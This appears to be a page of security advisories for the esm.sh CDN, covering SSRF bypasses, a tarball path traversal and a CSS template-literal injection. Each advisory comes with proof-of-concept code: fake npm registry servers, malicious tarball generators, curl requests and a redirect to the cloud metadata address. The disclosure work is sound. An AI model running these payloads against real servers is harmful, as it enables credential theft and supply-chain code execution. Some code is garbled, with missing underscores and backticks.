See how esm compares to other vendors in security performance
Summary An SSRF vulnerability (CWE-918) exists in esm.sh’s /http(s) fetch route. The service tries to block localhost/internal targets, but the validation is based on hostname string checks and can be bypassed using DNS alias domains (for example, 127.0.0.1.nip.io resolving to 127.0.0.1). This allows an external requester to make the esm.sh server fetch internal localhost services. Severity: High (depending on deployment network exposure).
Details The vulnerable flow starts at the route handling user-controlled remote URLs:
- server/router.go:532 - Accepts paths beginning with /http:// or /https://. go if strings.HasPrefix(pathname, "/http://") || strings.HasPrefix(pathname, "/https://") { query := ctx.Query() modUrl, err := url.Parse(pathname[1:]) if err != nil { ctx.SetHeader("Cache-Control", ccImmutable) return rex.Status(400, "Invalid URL") } if modUrl.Scheme != "http" && modUrl.Scheme != "https" { ctx.SetHeader("Cache-Control", ccImmutable) return rex.Status(400, "Invalid URL") } modUrlStr := modUrl.String()
// disallow localhost or ip address for production if !DEBUG { hostname := modUrl.Hostname() if isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host { ctx.SetHeader("Cache-Control", ccImmutable) return rex.Status(400, "Invalid URL") } }
The internal-target block is string-based:
- server/router.go:545 go // disallow localhost or ip address for production if !DEBUG { hostname := modUrl.Hostname() if isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host { ctx.SetHeader("Cache-Control", ccImmutable) return rex.Status(400, "Invalid URL") } }
Localhost detection itself is limited to hostname patterns:
- server/utils.go:72 - isLocalhost(...) checks values like localhost, 127.0.0.1, and 192.168.. - It does not validate the resolved destination IP after DNS resolution. go func isLocalhost(hostname string) bool { return hostname == "localhost" || strings.HasSuffix(hostname, ".localhost") || hostname == "127.0.0.1" || (valid.IsIPv4(hostname) && strings.HasPrefix(hostname, "192.168.")) }
Fetch proceeds with host-string allowlisting:
- server/router.go:595-596 - allowedHosts[modUrl.Host] = struct{}{} then fetch.NewClient(...allowedHosts) go allowedHosts := map[string]struct{}{} allowedHosts[modUrl.Host] = struct{}{} fetchClient, recycle := fetch.NewClient(ctx.UserAgent(), 15, false, allowedHosts) defer recycle()
- internal/fetch/fetch.go:49 - Host allowlist compares host strings, not resolved IP class. go func (c FetchClient) Fetch(url url.URL, header http.Header) (resp http.Response, err error) { if c.allowedHosts != nil { if , ok := c.allowedHosts[url.Host]; !ok { return nil, errors.New("host not allowed: " + url.Host) } } if c.userAgent != "" { if header == nil { header = make(http.Header) } header.Set("User-Agent", c.userAgent) } // ... return c.Do(req) }
Because validation is based on host strings and not on resolved destination IP ranges, domains that resolve to loopback/private IP can bypass protections.
PoC Reproduction tested on local Docker deployment.
1. Run esm.sh: bash docker run -d --name esmsh-5558 -p 5558:80 ghcr.io/esm-dev/esm.sh:latest
2. Run an internal localhost-only test service (secret response) in the same network namespace: - Internal network test server code (app.py): python from flask import Flask, Response
@app.get('/secret.js') def secretjs(): return Response('secret;\n', mimetype='application/javascript')
if name == 'main': app.run(host='0.0.0.0', port=5555)
Run the internal Python server container (same network namespace as esmsh-5558): bash docker run -d --name internal-5555 --network container:esmsh-5558 \ -v "<YOURPATH>/flask-internal:/app" -w /app \ python:3.11-alpine sh -lc "pip install --no-cache-dir flask && python app.py"
Since this server has no Docker port forwarding configured, it is not reachable from outside and is only accessible from the esmsh-5558 container connected on the same network.
4. Since both were running on localhost, I tested it through a Cloudflared tunnel to simulate external access. bash cloudflared tunnel --url http://127.0.0.1:5558
5. Trigger SSRF from outside via esm.sh endpoint: bash curl -i "https://ESM.SHSERVER/http://127.0.0.1.nip.io:5555/secret.js"
127.0.0.1 is blocked, <img width="1206" height="322" alt="image" src="https://github.com/user-attachments/assets/054a7675-5b9e-461a-bb55-9ec7a2b2f43b" />
but 127.0.0.1.nip.io bypasses the filter. <img width="1210" height="336" alt="image" src="https://github.com/user-attachments/assets/95b991b1-ff93-495f-b624-458dd48fd5ff" />
This confirms external requesters can fetch internal localhost service content through esm.sh.
Impact This is a Server-Side Request Forgery vulnerability (CWE-918).
Impacted: - Any esm.sh deployment exposing the /http(s) route to untrusted users. - Environments where internal services are reachable from the esm.sh server/container network.
Potential consequences: - Access to localhost/internal HTTP services not intended for public access. - Internal service discovery/probing through the server. - Exposure of sensitive internal endpoints (deployment-dependent, e.g., metadata/internal admin APIs). - The exploit surface is extension-limited in this route (e.g., ".js", ".ts", ".mjs", ".mts", ".jsx", ".tsx", ".cjs", ".cts", ".vue", ".svelte", ".md", ".css"), so it is not a universal arbitrary-file fetch primitive. - Even with that limitation, attackers can still verify whether internal HTTP services exist and retrieve internal JavaScript/Markdown resources (and similar allowed extension content) when present. - If the internal server is implemented with Apache Tomcat, it may interpret everything after ; as a path parameter in a request such as /asdf/;asdf=a.js. As a result, it could be possible to bypass extension checks while still receiving the response from the intended path.
Summary
esh.sh is vulnerable to a full-response SSRF, allowing an attacker to retrieve information from internal websites through the vulnerability.
Details
Vulnerable code location: https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/server/router.go#L511
If the internal address has a suffix listed below, the attacker can obtain content from the specified internal address.
eg: https://esm.sh/https://local.site/test.md
".js", ".ts", ".mjs", ".mts", ".jsx", ".tsx", ".cjs", ".cts", ".vue", ".svelte", ".md", ".css"
A 302 redirect can be used to bypass the suffix restriction.
eg: https://esm.sh/https://attacker.site/test.md
https://attacker.site/test.md 302 redirect to http://169.254.169.254/v1.json
PoC
Use Flask to start a server that returns a 302 redirect.
python from flask import Flask, redirect
app = Flask(name)
@app.route('/test.md') def redirecttest(): return redirect("http://169.254.169.254/v1.json", code=302)
if name == 'main': app.run(host='0.0.0.0', port=80)
Let esh.sh visit this site.
https://esm.sh/https://attacker.site/test.md
Attacker can obtain data from http://169.254.169.254/v1.json.
var t=<p>{"bgp":{"ipv4":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""},"ipv6":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""}},"hostname":"","instance-v2-id":"","instanceid":"","interfaces":[{"ipv4":{"additional":[],"address":"","gateway":"","netmask":"","routes":[{"netmask":32,"network":""}]},"ipv6":{"additional":[],"address":"","network":"","prefix":"64"},"mac":"","network-type":"public"}],"nvidia-driver":[],"public-keys":[""],"region":{"countrycode":"US","regioncode":"SJC"},"tags":[]}</p> ,o={},u=t;export{u as default,t as html,o as meta};
Decode the data (redacted) .
json {"bgp":{"ipv4":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""},"ipv6":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""}},"hostname":"","instance-v2-id":"","instanceid":"","interfaces":[{"ipv4":{"additional":[],"address":"","gateway":"","netmask":"","routes":[{"netmask":32,"network":""}]},"ipv6":{"additional":[],"address":"","network":"","prefix":"64"},"mac":"","network-type":"public"}],"nvidia-driver":[],"public-keys":[""],"region":{"countrycode":"US","regioncode":"SJC"},"tags":[]}
Impact
An attacker can exploit the vulnerability to access internal sites, and in a cloud environment, can retrieve access keys (AK) and secret keys (SK) by accessing the metadata service address.
Fix
It is recommended to use safeurl.Client as a replacement for http.Client.
https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/internal/fetch/fetch.go#L13
https://github.com/doyensec/safeurl
Summary
The commit does not actually fix the path traversal bug. path.Clean basically normalizes a path but does not prevent absolute paths in a malicious tar file.
PoC
This test file can demonstrate the basic idea pretty easily:
go package server
import ( "archive/tar" "bytes" "compress/gzip" "testing" )
// TestExtractPackageTarballPathTraversal tests the extractPackageTarball function // with a malicious tarball containing a path traversal attempt func TestExtractPackageTarballPathTraversal(t testing.T) { // Create a temporary directory for testing installDir := "./testdata/good"
// Create a malicious tarball with path traversal var buf bytes.Buffer gw := gzip.NewWriter(&buf) tw := tar.NewWriter(gw)
// Add a normal file content := []byte("export const foo = 'bar';") header := &tar.Header{ Name: "package/index.js", Mode: 0644, Size: int64(len(content)), Typeflag: tar.TypeReg, } if err := tw.WriteHeader(header); err != nil { t.Fatal(err) } if , err := tw.Write(content); err != nil { t.Fatal(err) }
// Add a malicious file with path traversal bad := []byte("bad") header = &tar.Header{ Name: "/../../../bad/bad.txt", Mode: 0644, Size: int64(len(bad)), Typeflag: tar.TypeReg, } if err := tw.WriteHeader(header); err != nil { t.Fatal(err) } if , err := tw.Write(bad); err != nil { t.Fatal(err) }
tw.Close() gw.Close()
// Call extractPackageTarball with the malicious tarball if err := extractPackageTarball(installDir, "test-package", bytes.NewReader(buf.Bytes())); err != nil { t.Errorf("extractPackageTarball returned error: %v", err) } }
Impact
It, at the very least, seems to enable overwriting the esm.sh configuration file and poisoning cached packages.
Arbitrary file write can lead to server-side code execution (e.g. Writing to cron files) but it may not be feasible for the default deployment configuration that is checked in. Whether some self-hosted configuration is modified to enable code execution is unclear.
The limiting factors in the default setup that limit escalating this to code execution:
- extractPackageTarball has a file-extension check which makes some more "obvious" escalations like overwriting binaries in /esm/bin (e.g. deno) impractical since it requires the target file to have an allowlisted extension. - Using the Dockerfile in the repo as a baseline for the typical setup: The binary does not run as root and, for the most part, can really only write to /tmp and it's home directory. - The deployment scripts do not seem to rely on executing potentially poisoned files in /tmp.
Fix
Using os.Root seems like it will solve this issue and doesn't require new dependencies.
Summary The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature.
When a CSS file is requested with the ?module query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization.
An attacker can inject malicious JavaScript code using ${...} expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications.
Root Cause: The CSS module conversion logic (router.go:1112-1119) performs incomplete sanitization - it only checks for backticks (\) but fails to escape template literal expressions (${...}), allowing arbitrary JavaScript execution when the CSS content is inserted into a template literal string.
Details File: server/router.go Lines: 1112-1119
go // Convert CSS to JavaScript module when ?module query is present if pathKind == RawFile && strings.HasSuffix(esm.SubPath, ".css") && query.Has("module") { filename := path.Join(npmrc.StoreDir(), esm.Name(), "nodemodules", esm.PkgName, esm.SubPath) css, err := os.ReadFile(filename) if err != nil { return rex.Status(500, err.Error()) } buf := bytes.NewBufferString("/ esm.sh - css module /\n") buf.WriteString("const stylesheet = new CSSStyleSheet();\n") if bytes.ContainsRune(css, '') { // If backtick exists: JSON encode (SAFE) buf.WriteString("stylesheet.replaceSync(") buf.WriteString(strings.TrimSpace(string(utils.MustEncodeJSON(string(css))))) buf.WriteString(");\n") } else { // If no backtick: Direct insertion (VULNERABLE!) buf.WriteString("stylesheet.replaceSync(") buf.Write(css) // ← CSS inserted into template literal without sanitization! buf.WriteString(");\n") } buf.WriteString("export default stylesheet;\n") ctx.SetHeader("Content-Type", ctJavaScript) return buf } When CSS does not contain backticks, the code directly inserts the raw CSS content into a JavaScript template literal without escaping ${...} expressions. Template literals in JavaScript evaluate expressions within ${...}, causing any such expressions in the CSS to execute as JavaScript code.
PoC
Step 1. Create Malicious Package (tar) python import tarfile import io import json from datetime import datetime
Malicious CSS with template literal injection evilcss = b""" body { background-color: #ffffff; color: #333333; }
.container { max-width: 1200px; margin: 0 auto; }
/ js payload / ${alert(1)}
/ More CSS to appear legitimate / .footer { margin-top: 20px; padding: 10px; } """
files = { "package/index.js": b"module.exports = { version: '1.0.0' };", "package/package.json": json.dumps({ "name": "test-css-injection", "version": "1.0.0", "description": "Test package for CSS injection", "main": "index.js" }, indent=2).encode(), # Malicious CSS file "package/poc.css": evilcss, }
with tarfile.open("test-css-injection-1.0.0.tgz", "w:gz") as tar: for name, content in files.items(): info = tarfile.TarInfo(name=name) info.size = len(content) info.mode = 0o644 info.mtime = int(datetime.now().timestamp()) tar.addfile(info, io.BytesIO(content))
print("Malicious CSS tarball created - test-css-injection-1.0.0.tgz")
Step 2. Run Fake Registry Server python fake-npm-registry.py from flask import Flask, jsonify, sendfile
app = Flask(name)
MALICIOUSTARBALL = "/tmp/test-css-injection-1.0.0.tgz" # HERE MALICIOUS TAR PATH REGISTRYURL = "http://host.docker.internal:9999" # HERE FAKE REGISTRY SERVER
@app.route('/<package>') def getmetadata(package): return jsonify({ "name": package, "versions": { "1.0.0": { "name": package, "version": "1.0.0", "dist": { "tarball": f"{REGISTRYURL}/{package}/-/{package}-1.0.0.tgz" } } }, "dist-tags": {"latest": "1.0.0"} })
@app.route('/<package>/-/<filename>') def gettarball(package, filename): return sendfile(MALICIOUSTARBALL, mimetype='application/gzip')
if name == 'main': app.run(host='0.0.0.0', port=9999)
bash python3 fake-npm-registry.py Note: I used a fake server for convenience here, but you can also use the official registry (npm, github, etc.)
Step 3. Request Malicious Package with X-Npmrc Header (File Upload) bash curl "http://localhost:8080/test-tarslip@1.0.0" \ -H 'X-Npmrc: {"registry":"http://host.docker.internal:9999/"}'
Step 4. Check Cross-site Script (alert(1)) html <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>CSS Injection Victim Page</title> </head> <body> <script type="module"> // esm.sh import import styles from "http://localhost:8080/test-css-injection@1.0.0/poc.css?module"; console.log('Styles loaded:', styles); </script> </body> </html> <img width="1414" height="238" alt="image" src="https://github.com/user-attachments/assets/acf00a7b-cad2-4af0-8885-9ba2433ba9fb" />
in esm.sh Playground <img width="1568" height="502" alt="image" src="https://github.com/user-attachments/assets/b2cd56a9-930e-4e64-a05c-5df02682c897" />
Impact Can execute arbitrary JavaScript. This can sometimes lead to remote code execution. (Electron App, Deno App, ...)
Summary The esm.sh CDN service is vulnerable to a Path Traversal (CWE-22) vulnerability during NPM package tarball extraction. An attacker can craft a malicious NPM package containing specially crafted file paths (e.g., package/../../tmp/evil.js). When esm.sh downloads and extracts this package, files may be written to arbitrary locations on the server, escaping the intended extraction directory.
Uploading files containing ../ in the path is not allowed on official registries (npm, GitHub), but the X-Npmrc header allows specifying any arbitrary registry. By setting the registry to an attacker-controlled server via the X-Npmrc header, this vulnerability can be triggered.
Details file: server/npmrc.go line: 552-567
go func extractPackageTarball(installDir string, pkgName string, tarball io.Reader) (err error) { pkgDir := path.Join(installDir, "nodemodules", pkgName) tr := tar.NewReader(unziped) for { h, err := tr.Next() // ... // Strip tarball root directory , name := utils.SplitByFirstByte(h.Name, '/') // "package/../../tmp/evil" → "../../tmp/evil" filename := path.Join(pkgDir, name) // ← No validation if h.Typeflag != tar.TypeReg { continue } // Extension filtering extname := path.Ext(filename) if !(extname != "" && (allowedextensions)) { continue // Only extract .js, .css, .json, etc. } ensureDir(path.Dir(filename)) f, err := os.OpenFile(filename, os.OCREATE|os.OTRUNC|os.OWRONLY, 0644) // ← File created without path validation! // ... } } The code uses path.Join(pkgDir, name), which normalizes the path and allows sequences like ../../ to escape the intended package directory.
pkgDir: /esm/npm/evil-pkg@1.0.0/nodemodules/evil-pkg name: ../../../../../../tmp/pyozzi.js result: /esm/npm/evil-pkg@1.0.0/nodemodules/evil-pkg/../../../../../../tmp/pyozzi.js → /tmp/pyozzi.js (path traversal)
PoC Test On - esm.sh Official Docker Image (latest version) - python 3.11 - flask (for attacker registry server)
Step 1. Create Malicious tarball file python #!/usr/bin/env python3 """ Malicious Tarball Generator for esm.sh Path Traversal Creates tarball with path traversal payloads """
import tarfile import io,os import json from datetime import datetime
def createmalicioustarball(packagename="test-tarslip"): # PoC file Content pocpayload = b"""// Path Traversal PoC // This file was created via tarslip attack // Location: /tmp/pyozzi.js
console.log('[!!!] Path Traversal Successful!'); console.log('Package: %s'); console.log('Researcher: pyozzi');
module.exports = { poc: true, vulnerability: 'CWE-22 Path Traversal', package: '%s' }; """ % (packagename.encode(), packagename.encode()) files = { "package/index.js": b"module.exports = { version: '1.0.0', test: true };", "package/package.json": json.dumps({ "name": packagename, "version": "1.0.0", "description": "Test package for security research", "main": "index.js", "keywords": ["test", "security", "research"], "author": "Security Researcher", "license": "MIT" }, indent=2).encode(), "package/../../../../../../../../../tmp/pyozzi.js": pocpayload, } # Create Tarball tarballname = f"{packagename}-1.0.0.tgz" print("Creating tarball with payloads:") print() with tarfile.open(tarballname, "w:gz") as tar: for name, content in files.items(): info = tarfile.TarInfo(name=name) info.size = len(content) info.mode = 0o755 info.mtime = int(datetime.now().timestamp()) tar.addfile(info, io.BytesIO(content))
print(f"File: {tarballname}") print(f"Size: {os.path.getsize(tarballname)} bytes")
# Check Tarball Content print("Tarball contents:") with tarfile.open(tarballname, "r:gz") as tar: for member in tar.getmembers(): marker = ">> " if "../" in member.name else " " mode = oct(member.mode)[-3:] print(f"{marker}{member.name} (mode: {mode})")
if name == 'main': createmalicioustarball()
output: bash $ python createtarball.py Creating tarball with payloads:
File: test-tarslip-1.0.0.tgz Size: 545 bytes Tarball contents: package/index.js (mode: 755) package/package.json (mode: 755) > package/../../../../../../../../../tmp/pyozzi.js (mode: 755)
Step 2. Run Fake Registry Server python fake-npm-registry.py from flask import Flask, jsonify, sendfile
app = Flask(name)
MALICIOUSTARBALL = "/tmp/test-tarslip-1.0.0.tgz" # HERE MALICIOUS TAR PATH REGISTRYURL = "http://host.docker.internal:9999" # HERE FAKE REGISTRY SERVER
@app.route('/<package>') def getmetadata(package): return jsonify({ "name": package, "versions": { "1.0.0": { "name": package, "version": "1.0.0", "dist": { "tarball": f"{REGISTRYURL}/{package}/-/{package}-1.0.0.tgz" } } }, "dist-tags": {"latest": "1.0.0"} })
@app.route('/<package>/-/<filename>') def gettarball(package, filename): return sendfile(MALICIOUSTARBALL, mimetype='application/gzip')
if name == 'main': app.run(host='0.0.0.0', port=9999)
bash python3 fake-npm-registry.py
Step 3. Request Malicious Package with X-Npmrc Header bash curl "http://localhost:8080/test-tarslip@1.0.0" \ -H 'X-Npmrc: {"registry":"http://host.docker.internal:9999/"}'
Step 4. Check Path Traversal bash docker exec esm-test cat /tmp/pyozzi.js
ouput: // Path Traversal PoC // This file was created via tarslip attack // Location: /tmp/pyozzi.js
console.log('[!!!] Path Traversal Successful!'); console.log('Package: test-tarslip'); console.log('Researcher: pyozzi');
module.exports = { poc: true, vulnerability: 'CWE-22 Path Traversal', package: 'test-tarslip' }; ...
Impact This vulnerability enables large-scale remote code execution on end-user endpoints through supply chain attacks. The path traversal vulnerability allows attackers to overwrite package resources stored in esm.sh's cache. Package lists and file paths can be discovered through esm.sh's REST API endpoints. By overwriting these resource files with malicious code, arbitrary code execution occurs on all endpoints that subsequently import the compromised packages.
Attack Chain: 1. Attacker identifies popular packages and their cached build file locations via API enumeration 2. Uses path traversal to overwrite cached build files (e.g., /esm/storage/modules/react@18.3.1/es2022/react.mjs) 3. Injects malicious code into the build files 4. Any application importing these packages receives the backdoored version 5. Malicious code executes on victim endpoints (browsers, Electron apps, Deno applications)
Impact Scale: - Affects all downstream users of compromised packages - Can target specific frameworks (React, Vue, etc.) used by thousands of applications - Enables XSS in browsers, RCE in Electron applications - Difficult to detect as traffic appears legitimate
Patch 1. Path validation is required when unpacking a tar file. 2. X-Npmrc whitelist logic is required.
A vulnerability in ESM 11.6.10 allows unauthenticated access to the internal Snowservice API and enables remote code execution through command injection, executed as the root user.
A vulnerability in ESM 11.6.10 allows unauthenticated access to the internal Snowservice API. This leads to improper handling of path traversal, insecure forwarding to an AJP backend without adequate validation, and lack of authentication for accessing internal API endpoints.